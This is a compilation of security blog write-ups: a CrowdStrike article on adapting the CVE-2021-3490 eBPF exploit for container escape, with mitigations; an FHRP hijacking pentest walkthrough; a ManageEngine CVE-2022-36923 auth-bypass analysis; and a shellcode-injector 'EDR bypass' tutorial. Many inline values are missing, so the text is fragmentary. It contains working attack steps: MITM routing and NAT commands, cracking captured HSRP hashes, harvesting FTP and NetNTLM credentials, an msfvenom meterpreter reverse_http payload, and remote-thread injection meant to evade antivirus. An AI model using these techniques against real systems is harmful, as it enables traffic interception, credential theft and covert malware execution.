By identifying 

, it is possible to enumerate all 
struct task
 objects of the processes running in that namespace as those are stored in a traversable radix tree in the field 
. The exploit identifies the correct 
 object by its PID. Those 
 objects store a pointer to a 
struct cred
 object that contains the UID and GID (user and group identifier) associated with the process and therefore holds the granted permissions. By overwriting the 
 object of a process, it is possible to escalate privileges by setting the UID and GID to 0, which is associated with the 

However, this approach does not work if a container was compromised and the attacker’s goal is to escape into the container’s host environment.

Why This Doesn’t Work in Containers

Linux kernel exploits are an alternative method to escape container environments to the host in case no mistakes in the container configuration were made. They can be used because containers share the host’s kernel and therefore its vulnerabilities, regardless of the Linux distribution the container is based on. However, exploit developers have to pay attention to some obstacles compared to privilege escalation outside of container environments.

First, container solutions are able to restrict the capabilities of processes running inside a container. For example, the capability 

 is normally not granted to processes running in containers, which can therefore not mount file systems or execute various other privileged actions. Moreover, it is possible to restrict the set of syscalls a userland process can call by utilizing 
. For example, in the default configuration of Docker, an exploit would not be able to use eBPF at all. Nevertheless, in the default Kubernetes configuration, 
 does not restrict the available syscalls at all. For the remainder of this post, though, we will assume that the container is configured such that eBPF could be used by userland processes.

Second, on a more practical note, the techniques of the original exploit described above will not work out-of-the-box. As already described, containers rely heavily on namespaces. Because containers typically have their own associated process ID namespace, it is not as straightforward to identify the exploit process running in the container by its PID, because, for example, the exploit may have PID 42 from the container’s perspective but PID 1337 from the host’s perspective. However, the parent namespace can still observe all processes running in child namespaces. Therefore, those processes have a PID in both parent and child namespace. Ultimately, the initial process ID namespace described by 

 can observe any process running on a particular system. Nevertheless, even if we identify the 
 structure of our exploit process within a container, overwriting its 
 object as described previously will simply elevate privileges within the container but not allow container escape.

Changes for Container Escapes

It is possible to modify the exploit so that a container escape is conducted and privileges are escalated to 

 on the host. To easily find the exploit process in a container, an exploit can search for the symbol 
 symbols in 
 stores the offset to the running process’s 
 object based on the address stored in 
. Because 
 is unique per CPU core, the process must be pinned before on one core using the 
 system call

Using this technique it is possible to identify the correct 

 object without traversing the radix tree of all processes stored in 

This allows the attacker to overwrite the correct 

 object and therefore obtain 
privileges. Due to the usage of namespaces, the observable file system is still that of the container, though. Nevertheless, it is possible to overcome that obstacle as well. The 
object contains a pointer to a 
struct fs_struct
 object. This object contains information about the observable file system, i.e.,which directory is considered as the processes’ file system root. Using the leaked pointer to 
, it is possible to traverse the process radix tree and identify the host’s 
 process, which has PID 1. Next, it is possible to retrieve the 
pointer from this process’s 
 object. Lastly, while overwriting the 
 object of the exploit process, the 
 pointer must be overwritten as well using the 
 pointer. The exploit process can then observe the complete host file system.

One last addition must be made. As stated above, containers normally have limited capabilities. Capabilities are used to restrict the permissions of processes running in containers. To obtain full privileges, the exploit also has to overwrite the capabilities mask of the exploit’s process in the 

 object. How exactly the values must be set to obtain full capabilities without any restrictions can be investigated in the definition of the 
 process’ credentials

The technique described in this blog to identify the 

 object of the exploit’s process only works on Linux kernel version before 5.15, as 
 is no longer exported as a symbol to 
. Nevertheless, alternative methods exist to find the correct 
 object, e.g., by traversing the radix tree of all processes from 
 and matching on features of the exploit process other than the PID, such as the 
 member of 
struct task
 that contains the executable name.

Container Escape Mitigations

Detecting this and similar exploits is very hard as they are data-only and misuse only legitimate system calls. The CrowdStrike Falcon platform can assist in preventing attacks using similar techniques for privilege escalation. As a defense-in-depth strategy, the following steps can be taken to harden Linux hosts and container environments to prevent exploitation of CVE-2021-3490 and future attacks.

  1. Upgrade the kernel version. With a critical kernel vulnerability like CVE-2021-3490, it is paramount that available fixes are applied by upgrading the kernel version.
  2. Provide only required capabilities to the container. By limiting the capabilities of the container, the root account of the container becomes limited in its capabilities, which significantly reduces the chances of container escape and exploitation of kernel vulnerabilities. For example, to exploit the CVE-2021-3490 using the described technique, the attacker needs CAP_BPF or CAP_SYS_ADMIN granted. Note that privileged containers have those capabilities. Therefore, you should monitor your environment for such containers with CrowdStrike Falcon® Cloud Workload Protection (CWP), as discussed in point 4 below.
  3. Use a seccomp profile. While Kubernetes does not apply a seccomp profile without configuration, Docker’s default seccomp profiles protect against a number of dangerous system calls that can help attackers to break out of the container environment. Correct Seccomp profiles can help significantly reduce the container attack surface. CVE-2021-3490 requires the 
     system call to exploit the vulnerability, which is blocked in Docker’s default seccomp profile. Hence, exploitation of CVE-2021-3490 in a container environment using a strong seccomp profile would fail.
  4. Monitor host and containerized environment for a breach. In case a privileged workload or a host is compromised by attackers, the organization needs state-of-the-art monitoring and detection capabilities to prevent and detect advanced persistent threats (APTs), eCrime and nation-state actors. CrowdStrike can help with this. Falcon Cloud Workload Protection identifies any indicators of misconfiguration (IOMs) in your containerized environment to uncover a weakness. Falcon Cloud Workload Protection prevents and detects malicious activity on your host and containers to prevent and detect — in real time — breaches by eCrime and nation-state adversaries. For example, if a privileged container or a container without a seccomp profile is executed, the following notifications would appear:

Also, Falcon CWP helps to hunt for threats using the eBPF subsystem to escalate privileges by logging if the 

 system call was used by a process.


Container technology is a good solution to separate and fine-tune resources to different processes. However, while existing solutions add another layer of security due to the restriction of capabilities and available syscalls, the available attack surface inside a container still contains the host’s kernel. Every eased restriction — for example, allowing the use of eBPF — will increase the attack surface. If a threat actor is able to take advantage of a vulnerability inside the host’s kernel and an exploit is available, the host can be compromised, regardless of other security layers and restrictions such as namespaces.

This blog showed exactly that: Not much effort is needed to turn a full exploit chain for a local privilege escalation into one that is able to escape containers as well. The basic rules of network hygiene (patch early and often) not only apply to containers but to the hosts that deploy those in a cloud environment as well. Moreover, solutions such as Docker and Kubernetes can reduce the attack surface drastically if configured properly. CrowdStrike Falcon Cloud Workload Protectioncan assist in identifying and hunting for weaknesses in the deployed configuration that could lead to a compromise.

Additional Resources

FHRP Nightmare. Pentesting redundancy systems like a devil.

FHRP Nightmare. Pentesting redundancy systems like a devil

original text by Magama Bazarov

In order to improve the resiliency of their network at the routing level, network administrators use the FHRP family of protocols in most cases. However, in most cases, the configuration of FHRP protocols is left by default, which opens the way for exploitation.

My name is Magama Bazarov and I am an expert in network security. And in my research you will find out what kind of nightmare is going on in the network at the routing level.


This article is intended for security professionals who conduct pentests under an agreed-upon, legitimate contract. Destroying and hacking into other people’s computer networks can be prosecuted. Be careful and try not to test your fate. The skills you learn from my article are only your area of responsibility.

1. Why we need FHRP protocols?

FHRP (First Hop Redundancy Protocol) — is a family of network protocols that allows multiple physical routers to share/maintain a single virtual IP address, in order to increase the fault tolerance of the local network. This virtual address will be assigned as the default gateway address for the end hosts. The most common FHRP class protocols are HSRP, VRRP and GLBP, the security of which I will discuss in this article.

2. HSRP (Hot Standby Redundancy Protocol)

HSRP (Hot Standby Router/Redundancy Protocol) — is a Cisco proprietary protocol that allows for network gateway redundancy. The general idea is to combine several physical routers into one logical router with a common IP address. This address of the virtual router will be assigned to the interface of the router with the master role, and the latter, in its turn, will take care of traffic forwarding.

2.1 HSRP Roles & Terminology

HSRP Active Router — a device that acts as a virtual router and provides forwarding of traffic from source networks to destination networks.
HSRP Standby Router — a device that acts as a standby router, waiting for the active router to fail. When the primary Active router fails, the Standby router will take over the primary role and take over the duties of the Active router.
HSRP Group — a group of devices that ensures the operation and fault tolerance of a logical router.
HSRP MAC Address — the virtual MAC address of the logical router in the HSRP domain.
HSRP Virtual IP Address — This is a special virtual IP address in the HSRP group. This IP address will be the default gateway for the end hosts, used on the logical router itself.

2.2 HSRP Mechanics

HSRP is implemented on top of TCP/IP protocol stack, so UDP transport layer protocol under port number 1985 is used for service information transmission. HSRP-routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds an HSRP-router within the same group has not received a hello packet from its HSRP neighbor, it recognizes it as “dead”

This protocol has two versions (HSRPv1 x HSRPv2) and they differ in the following characteristics:

  • Number of groups. (HSRPv1 offers up to 255 groups, when HSRPv2 can up to 4096)
  • Virtual MAC addresses. (HSRPv1 — 
     / HSRPv2 — 
    ) (XX is HSRP group number)
  • MCAST IP addresses. (HSRPv1 —
     / HSRPv2 —

3. VRRP (Virtual Router Redundancy Protocol)

This protocol was developed based on the phenomena of the HSRP protocol, so it has a lot of trouble with patents. Therefore, it cannot be called “free” and “open”. But at least it is supported by all network equipment vendors, i.e. using VRRP in your network allows you to be independent of any vendor ecosystem.

3.1 VRRP Mechanics

De facto, if you know how HSRP works, you know how VRRP works. HSRP and VRRP have a lot in common, but I’ll tell you the distinguishing characteristics:

  • VRRP is not implemented on top of the TCP/IP protocol stack. This protocol works exclusively on the network layer
  • Its MCAST IP address is
  • Its identifier is 
  • The second version of VRRPv2 features IPv4 support and support for authentication. The type of authentication depends on the vendor. For example, Cisco offers VRRP protection using MD5 authentication, while MikroTik (RouterOS) offers AH-authentication (AH is a protocol from the IPSec opera)
  • The third version, VRRPv3, has support for IPv6 but lacks authentication.

VRRP neighbors within one redundancy domain exchange special hello packets every second (a kind of hello time). But there is also a kind of “dead timer” — if there is no hello packet within 10 seconds, the router from which this “hello” was expected — will drop out of the failover domain.

3.2 VRRP Roles & Terminology

  • VRRP Master Router is an active router that is responsible for transferring legitimate traffic on the network.
  • VRRP Backup Router is a standby router. As soon as the current Master Router goes down, it will take over its role and perform its functions
  • VRRP MAC Address — The virtual MAC address in the VRRP group (
    ). Instead of XX, it is the number of the VRRP group.
  • VRRP VRID — The identifier of the VRRP group within which the physical routers are located.
  • VRRP Virtual IP Address — A special virtual IP address in the VRRP domain. This IP address is used as the default gateway for the end hosts.

4. Emergence of pseudo-balancing

The problem is that the HSRP and VRRP protocols have no load balancing mechanism. When they are used, there is a pseudo-balancing, where by default only one device is actually working, while the others are resting and working in standby mode. However, you can simply spread your VLANs over logical HSRP/VRRP processes at the distribution switch level (L3 switches) or at the router level when logical VLANs are created (802.1Q Encapsulation Moment)

Below will be examples of settings for HSRP and VRRP with respect to VLAN 10 and VLAN 30 networks. Dist-SW1 will plow on VLAN 10 and sleep on VLAN 30. Dist-SW2 will plow for VLAN 30 and sleep for VLAN 10.

4.1 HSRP for VLANs (Cisco IOS)

Dist-SW1(config)# interface vlan 10
Dist-SW1(config-if)# standby 10 ip
Dist-SW1(config-if)# standby 10 priority 150
Dist-SW1(config-if)# standby 10 preempt
Dist-SW1(config-if)# standby 10 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW1(config)# interface vlan 30
Dist-SW1(config-if)# standby 30 ip
Dist-SW1(config-if)# standby 30 priority 90
Dist-SW1(config-if)# standby 30 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW2(config)# interface vlan 10
Dist-SW2(config-if)# standby 10 ip
Dist-SW2(config-if)# standby 10 priority 90
Dist-SW2(config-if)# standby 10 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

Dist-SW2(config)# interface vlan 30
Dist-SW2(config-if)# standby 30 ip
Dist-SW2(config-if)# standby 30 priority 150
Dist-SW2(config-if)# standby 30 preempt
Dist-SW2(config-if)# standby 30 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

4.2 VRRP for VLANs (Cisco IOS)

Dist-SW1(config)# interface vlan 10
Dist-SW1(config-if)# vrrp 10 ip
Dist-SW1(config-if)# vrrp 10 priority 150
Dist-SW1(config-if)# vrrp 10 preempt
Dist-SW1(config-if)# vrrp 10 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW1(config)# interface vlan 30
Dist-SW1(config-if)# vrrp 30 ip
Dist-SW1(config-if)# vrrp 30 priority 90
Dist-SW1(config-if)# vrrp 30 authentication md5 key-string my_heartbeats
Dist-SW1(config-if)# end

Dist-SW2(config)# interface vlan 10
Dist-SW2(config-if)# vrrp 10 ip
Dist-SW2(config-if)# vrrp 10 priority 90
Dist-SW2(config-if)# vrrp 10 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

Dist-SW2(config)# interface vlan 30
Dist-SW2(config-if)# vrrp 30 ip
Dist-SW2(config-if)# vrrp 30 priority 150
Dist-SW2(config-if)# vrrp 30 preempt
Dist-SW2(config-if)# vrrp 30 authentication md5 key-string my_heartbeats
Dist-SW2(config-if)# end

5. GLBP (Gateway Load Balancing Protocol)

Developed by Cisco Systems engineers. Like HSRP, this protocol is implemented on top of TCP/IP protocol stack, that’s why UDP transport layer protocol under port number 3222 is used for translation of service information. GLBP routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds a GLBP router within the same group has not received a hello packet from its GLBP neighbor, it recognizes it as “dead”. However, the timer values can be configured depending on the administrator’s needs.

5.1 GLBP Mechanics

GLBP provides load sharing to multiple routers (gateways) using one virtual IP address and multiple virtual MAC addresses. Each host is configured with the same virtual IP address and all routers in the virtual group participate in packet transmission. Works much differently with respect to HSRP and VRRP protocols, as it uses the mechanisms of real load balancing, I will denote below:

  • The Host-Dependent. Type of load balancing used on a network where there is NAT. Host-Dependent ensures that the host will return the same MAC address of the AVG device that was used at an earlier point in time, thus the NAT configured to the host will not be broken.
  • Round-Robin. In this mode, the AVG device distributes MAC addresses to AVF members alternately. This is the mechanism used by default.
  • Weight-based round-robin. Load balancing based on special “Weight” metric

5.2 GLBP Roles & Terminology

  • AVG (Active Virtual Gateway) — a device that is essentially the father of the entire GLBP logical domain. “Father” tells the other routers how to handle legitimate traffic. Gives out MAC addresses and is responsible for answering ARP requests. By the way, within a single GLBP group, AVG members can be only one router.
  • AVF (Active Virtual Forwarder) — the device in the GLBP domain that handles traffic. There can be several of them.
  • GLBP Group — A logical GLBP group that includes physical routers. Each GLBP logical group has its own unique numeric identifier
  • GLBP MAC — The virtual MAC address of the AVF members distributed by the existing AVG router.
  • GLBP Virtual IP Address — The IP address the AVG router is responsible for
  • GLBP Preempt Mode — an option that allows the resurrected AVG device to regain its role after being replaced by AVF based on its priority values. By default, preempt mode is disabled for AVG members when preempt mode is enabled for AVF members (with a delay of up to 30 seconds, but this value can be configured manually)
  • GLBP Weight — metric indicating the degree of load on the device interface. The greater this metric is, the higher the load on the router interface.

6. FHRP Selector

For FHRP protocols, the default priority value of routers is 100. If administrator did not set priorities manually, in case of HSRP (ACTIVE), in case of VRRP (MASTER), in case of GLBP (AVG) will be the router with the highest address. Of course, these priorities are configured manually, depending on the needs of the network administrator and what fault tolerance infrastructure he needs.

7. FHRP Timings

  • HSRP (Hello time: 3 sec / Hold time: 10 sec)
  • VRRP (Hello time: 1 sec / Hold time: 3 sec)
  • GLBP (Hello time: 3 sec / Hold time: 10 sec)

8. FHRP Hijacking

FHRP domains are vulnerable to a Hijack attack if the ACTIVE/MASTER/AVGleader does not have a maximum priority value with respect to its configuration. If an attacker injects an HSRP/VRRP/GLBP packet with maximum priority values, he will be able to intercept traffic within the network.

8.1 Stages

  • Information Gathering. find out priority values, search for authentication, virtual IP address used, MAC addresses
  • Authentication Bypassing.The authentication bypassing stage. If there is, of course. Save traffic dump, exfiltrate hashes and brute-force key from the domain.
  • Injection.Preparing network interface, writing MAC address, routing permission, generating and sending malicious FHRP injection.
  • Routing Management.Creating a secondary IP address, configuring a new default route, (NAT) MASQUERADE

8.2 Weaponize

  • Wireshark. With this network traffic analyzer we will perform Information Gathering process, enumerating packet headers
  • John & *2john-exfiltrators. John is a hash bruteforcer, *2john scripts will help reproduce hash exfiltration from the traffic dump
  • Loki. It is a batch injector, a framework for performing security analysis of various L2/L3 protocols, even DRP, FHRP, etc.

8.3 Vectors

  • MITM. A man-in-the-middle attack to intercept legitimate traffic. Executed by malicious FHRP injection with maximum priority value.
  • Blackhole. An attack designed to wrap traffic from a legitimate subnet into ANYTHING. Blackhole means “black hole”. Traffic goes into black hole and that’s it
  • Kicking router via UDP Flood. DoS-attack, the mechanism of which consists of mass mailing of UDP datagrams with the aim to put the destination router out of action. Works regarding HSRP & GLBP, because when processes of these protocols are launched on routers, they automatically start listening to UDP-ports 1985 and 3222 (HSRP and GLBP respectively), no transport layer for VRRP.

8.4 Limitations

  • CPU power dependency. After MITM attack, traffic of the whole network or VLAN segment (depending on existing infrastructure) will run through your device and it must be ready to process, routing traffic of the whole legitimate segment. Otherwise, a DoS will occur, and the customer will not appreciate such a scenario and hot tears will flow.
  • Network interface performance. The network card used at the moment of attack should be powerful enough to handle a large amount of traffic.
  • Dependence on possible network VLAN segmentation. If you’re on VLAN 10, for example, and you can MITM through an inject, you’ll be intercepting traffic from the VLAN you’re on. You won’t get traffic from other VLANs.

9. Nightmare Realm

As part of a practical attack, I built a three-layer network which I provided Internet access, OSPF, and HSRP/VRRP/GLBP fault tolerance domains. As part of my attack, I will be targeting the Distribution Layer and intercepting traffic on the VLAN 10 network.

Papercut — FTP server under IP address

Dustup — Windows 10 machine with IP address

Attacker (Mercy) — attacker system with Kali Linux at IP address

Boundless — Linux Mint client machine with IP address

The left side of the Distribution level switches are Cisco vIOS switches: Dist-SW1 and Dist-SW2 at
, respectively

Edge Router — the edge router of this network, provides the entire network with the Internet by the mechanism NAT (PAT Mechanism Moment)

As a dynamic routing acts as a BACKBONE zone OSPF and identifier 


And the HSRP/VRRP/GLBP processes are implemented on virtual SVI interfaces.

10. HSRP Hijacking

10.1 Stage 1: Information Gathering

From the Wireshark traffic dump, we see HSRP announcements from two switches at and

HSRP Ad from first router

HSRP Ad from second router

Based on the analysis of HSRP packet headers we have the following picture (within my network I have studied 2 HSRP announcements):

  • ACTIVE device is a switch with address
    , its priority is 
  • STANDBY device is a switch at
    , its priority is 
  • Cryptographic authentication (MD5) is used
  • Virtual IP address
  • Virtual MAC: 
  • HSRP group number 

Since the ACTIVE switch has a priority of 

 out of 
— the Hijack attack vector looms. But also, there is the use of authentication. Authentication with respect to FHRP prevents unauthorized devices from entering the fault tolerance process. But since we are the attacker, we need to find out what kind of key is used as authentication to the HSRP domain.

10.2 Stage 2: Authentication Bypassing

You need to save the traffic dump in 

format, then use 
(in my case the script is called
 to perform hash exfiltration. This script will spit out MD5 hashes and convert them to John format at the same time, which is convenient. Then these hashes can be dumped into a separate file and fed to John, i.e. this file will act as input for the brute force. And with key 
— wordlist
 we will set path to dictionary

in9uz@Mercy:~$ python2 hsrpwithauth.pcap
in9uz@Mercy:~$ cat >> hsrpv1md5hashes
in9uz@Mercy:~$ john hsrpv1md5hashes --wordlist=/usr/share/wordlists/rockyou.txt

In the end we managed to reset the authentication key to the HSRP domain — endgame

10.3 Stage 3: Injection

First of all, we need to change the MAC address to the virtual MAC address of the ACTIVE switch. This is done in order not to unnecessarily trigger the system DAI (Dynamic ARP Inspection), because 

 may well be surprised that with respect to
 now has a different MAC-address.

Next, switch our network interface to promiscious mode and allow traffic routing.

in9uz@Mercy:~$ sudo macchanger --mac=00:00:0C:07:AC:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Now you have to start Loki, select the network interface

in9uz@Mercy:~$ sudo
Select interface

After launching the tool, Loki itself will detect HSRP announcements sent out by routers. Enter the MD5 authentication key (endgame), select the 

Do gratuitous ARP option.
This is a special modification of ARP-frame, which is in fact a stub, which notifies all broadcast domain about new binding of IP-address with MAC-address. Next, click on the two devices (in Seen state) and select the Get IP option.

After that, Loki will generate a custom injection with a maximum priority value of 

, which, in turn, will allow the attacker to intercept the ACTIVE role and thus stand in the Man-in-the-Middle moment

10.4 Stage 4: Routing Management

After the injections are done, we need to do a little routing management.

Firstly we have to remove the old default route, going through,
since we became the new ACTIVE router, we own this virtual address 
, but with the old route all traffic is looped back to our OS, which without any extra work causes DoS against legitimate hosts :))

We also need to create a secondary address on our interface with HSRP Virtual IP Address value
, again, after the attack we are the owner of this address.

in9uz@Mercy:~$ sudo ifconfig eth0:1 netmask

Let’s write a new default route through
 (this is the former ACTIVE router), but even though we took away the ACTIVE role from it, it is still able to route traffic where we need it. You can also try to write the second static route through
 with the special metric, i.e. here with the second route we already realize the floating static routing.

in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net netmask gw


in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

In the end we succeeded in conducting a MITM attack. To clearly show the impact of the attack, I will connect to the FTP server Papercut

Intercepted FTP creds

Intercepted FTP creds — 


!!! However, ICMP REDIRECT messages are generated during the attack itself. The IPS/IDS security system may trigger. Be careful and disable ICMP redirect if possible !!!

11. VRRP Hijacking

11.1 Stage 1: Information Gathering

Within VRRP, these hello packets are only visible from the MASTER device.

Wireshark VRRP dump

Based on the analysis of the HSRP packet headers we denote the following information:

  • MASTER device is a router at
    , its priority is 
  • No authentication
  • Virtual IP-address
  • Virtual MAC: 
  • VRRP group number 

11.2 Stage 2: Injection

Change the MAC-address to the one belonging to MASTER, promisc mode and allow routing:

in9uz@Mercy:~$ sudo macchanger --mac 00:00:5e:00:01:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0 promisc
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Run Loki:

in9uz@Mercy:~$ sudo

Loki detected the VRRP announcement. All the same, generate a (Gratuitous ARP) and inject

Loki performed an inject, you can examine his body 

(Inject has a priority of 255)

11.3 Stage 3: Routing Management

All the same routing management. Writing routes, creating a secondary address, and setting up NAT (MASQUERADE)

in9uz@Mercy:~$ sudo ifconfig eth0:1 netmask
in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net netmask gw
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

To illustrate, I will connect to that FTP-server again (Papercut), but with different codes 


Intercepted FTP creds


12. GLBP Hijacking

12.1 Stage 1: Information Gathering

We see GLBP announcements from two devices. Based on the analysis of the GLBP packets we have the following picture:

  • AVG is
  • AVF is
  • No authentication
  • GLBP Group Number 
  • Virtual IP Address
  • Virtual MAC: 


12.2 Stage 2: Injection

Change the MAC-address to the one of the AVG, promiscious mode and routing permission

in9uz@Mercy:~$ sudo macchanger --mac=00:07.b4:00.01:01 eth0
in9uz@Mercy:~$ sudo ifconfig eth0 promisc
in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Run Loki:

in9uz@Mercy:~$ sudo

Loki found the ads. Performing Inject x Gratuitous ARP

Loki generated a GLBP injection with priority and weight values (Priority 255 x Weight 255)

12.3 Stage 3: Routing Management

Again: Secondary address, routing, NAT

in9uz@Mercy:~$ sudo ifconfig eth0:1 netmask
in9uz@Mercy:~$ sudo route del default
in9uz@Mercy:~$ sudo route add -net netmask gw
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Now, we are the MITM. Run 

<a rel="noreferrer noopener" href="" target="_blank"></a> 
This tool will pull sensitive data during traffic analysis (i.e. unencrypted HTTP/FTP traffic, NetNTLM hashes)

in9uz@Mercy:~/FHRPNightmare/net-creds$ sudo python2 -i eth0

To proof, reading the SMB share on behalf of the 


Intercepted NetNTLMv2-SSP hash of user distance
Why not? Bruteforce the hash

13. Prevention

13.1 Using ACL

An ACL allows you to filter traffic by various parameters, ranging from source IP address to TCP/UDP ports. (depending on which ACL you use — standard or extended?)

  • HSRP: ACL against
  • VRRP: ACL against
  • GLBP: ACL against

13.2 Authentication

Authentication prevents unauthorized routers from entering failover domains. If you’re going to protect a domain with authentication, use persistent keys so they’re not so easy to break.

Here Cisco IOS boasts Key-Chain authentication, where multiple keys can be used and you can configure the time intervals within which the keys will be accepted and sent. RouterOS even has a wild AH-authentication for VRRP, such a salt is used there — you can’t brute force it even with a dictionary password. By the way, Cisco IOS uses MD5 authentication for FHRP, and RouterOS uses AH (the IPSec opera protocol)

14. Outro

FHRP protocols help to organize a system of hot redundant routing gateways. Such systems are widespread in the case I reviewed. But now you know what can happen to a network if an engineer has not taken care of the design and security configuration of the FHRP protocols themselves.

Speaking of which, this FHRP Hijacking can serve as an alternative to ARP spoofing. AD networks open up all possibilities for Relay attacks and information gathering, you can also implement phishing attacks and much more. I very much hope that this research of mine will give pentesters new attack vectors for pentesters, and network administrators will get new cases to improve their network security.

My Telegram:

Telegram Channel:



You can see, what you wanna see. You can feel, what you wanna feel.

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass

CVE-2022-36923 Detail

origianl text by 4er 


ManageEngine offers enterprise IT management software for your service management, operations management, Active Directory and security needs.

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass
CVE-2022-35405 Zoho Password Manager Pro XML-RPC RCE
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE to RCE
CVE-2021-44077 Zoho ManageEngine ServiceDesk Plus Pre-Auth RCE
CVE-2020-10189 Zoho ManageEngine Desktop Central deserialize RCE

According to ZDI’s announcement , the vulnerability exists


The key point is how to get to this position.

Search the xml configuration file to find

The route is 

, try to construct the request packet

Prompt missing parameters, see the log to report an error

The IAMSecurityException breakpoint hits its constructor and traces back up, and finally
found that an exception was thrown because the parameter regular matching was incorrect.

The final construction parameter successfully returns 200

look back now


    public String getUserAPIKey(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String userName = request.getParameter("username");
        String domainName = request.getParameter("domainname");
        if (userName != null &amp;&amp; domainName != null) {
            try {
                Long userId = MickeyLiteUtil.getUserId(userName, domainName);
                String apiKey = (new APIKeyGenerator()).checkAndGenerateApiKey(userId, -1L);
                PrintWriter out = response.getWriter();
                return null;
            } catch (Exception var8) {
                return null;
        } else {
            return null;


You need to give a correct domainName, it depends on what value is in the AaaLogin table in the database.

View database jdbc link

<strong>C:\Program Files\ManageEngine\OpManager\conf\database_params.conf</strong>

The password is encrypted and found in the bin directory


call .\setCommonEnv.bat

set CLASS_PATH="%SERVER_HOME%\lib\framework-tools.jar"


"%JAVA%"  -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil %*

"%JAVA%" -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil "showUsage"


Call the CryptoUtil class for encryption

Write a class directly to call the decrypt function

cryptTag is 

obtained by

Parse the persistence-configurations.xml file to get the CryptTag attribute and view the file content

Attempt to 

decrypt unsuccessfully, and then found that an external entity was introduced at the top of the xml file


found the CryptTag in the file

The algorithm is AES256. After decryption, link to the database and check the AaaLogin table.

The domainName is obtained 

, and the final request package is as follows

Get restapi from this

The rce method looked at the restapi documentation. There is a workflow that can be used for rce, but there is a problem with accessing through restapi.


If your api is 

an internal api, the isAPIClient in the session will only be assigned when you log in, so this place isApiclient is false, and NmsUtil.isRMMEdition is false, causing an exception to be thrown 
APIError.internalAPI(request, response)
then all internal apis cannot be called.


key APIs that define the workflow are 
the internal APIs.

At this point, the rce is broken. I traced back the 

function and found that all the APIs are in the database 
table. After filtering 
, a total of 955 APIs can be accessed through restapi.

I looked at it and saw that nothing was added, deleted, modified, and checked. I hope someone who is destined can dig out a rce.


My colleague looked at the cve injected by the other two commands of opmanager and found that it should be possible to string rce together. see colleagues’ articles

ZOHO ManageEngine OpManager Two RCEs

The writing is rubbish, the wording is frivolous, the content is simple, and the operation is unfamiliar. The deficiencies are welcome to give pointers and corrections from the masters, and I am grateful.

CVE-2022-36923 Detail

Current Description

Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.

Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.


Shell Code Injector with AES Encryption — EDR Bypass

Shell Code Injector with AES Encryption - EDR Bypass

original text by San3ncrypt3d

I have been getting a lot of messages from people asking about AV evasion. I won’t give away the source code for a fully undetectable payload, but I thought I’d share a basic implementation of a shell code runner that will take AES encrypted shell code and decrypt it and inject into a process such as explorer! Before we proceed, the technique used to inject shell code is well known to AVs and you will get flagged, the purpose of this writeup is to show how AES can be implemented, and you can use same/similar techniques to bypass EDR solution with more sophisticated techniques

What do you need to follow along?

• Metasploit

• Visual Studio

• Windows Machine for testing payload

The first thing to do is to create a shell code using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=IP LPORT=443 -f csharp

Now download the project for encrypting the shellcode with AES encryption: Click Here

Make sure to change the shellcode to your shellcode here:

* Note: if you change the key/IV make sure to update them on the decryption part as well ! **

Once you compile and run the program, you will get the encrypted shell code:

Now we will need to create a program that will essentially take this encrypted shell code, and decrypt It and inject into a process’s virtual address space.

Here is the program: AESInjector

I will briefly explain what is going on:

• “buf” is an array with the encrypted shell code

• “Dshell” uses the AESDecrypt function and stores the decrypted shell code

• Now we use Win32 Api’s for allocating shell code in memory, copy the shell code and execute it with VirtualAllocEx and WriteProcessMemory and CreateRemoteThread:

Now you change the “buf” array with the encrypted shell we acquired from previous program and compile the program and run it

Of course, make sure to start a lister on Metasploit:

At the time of writing this project, the payload is only detected by 3/26 Av engines:

I am a bit surprised that only 3 AV’s caught it, but you can enhance this project into making it completely undetectable:

Credits: some of the codes are taken from other open source projects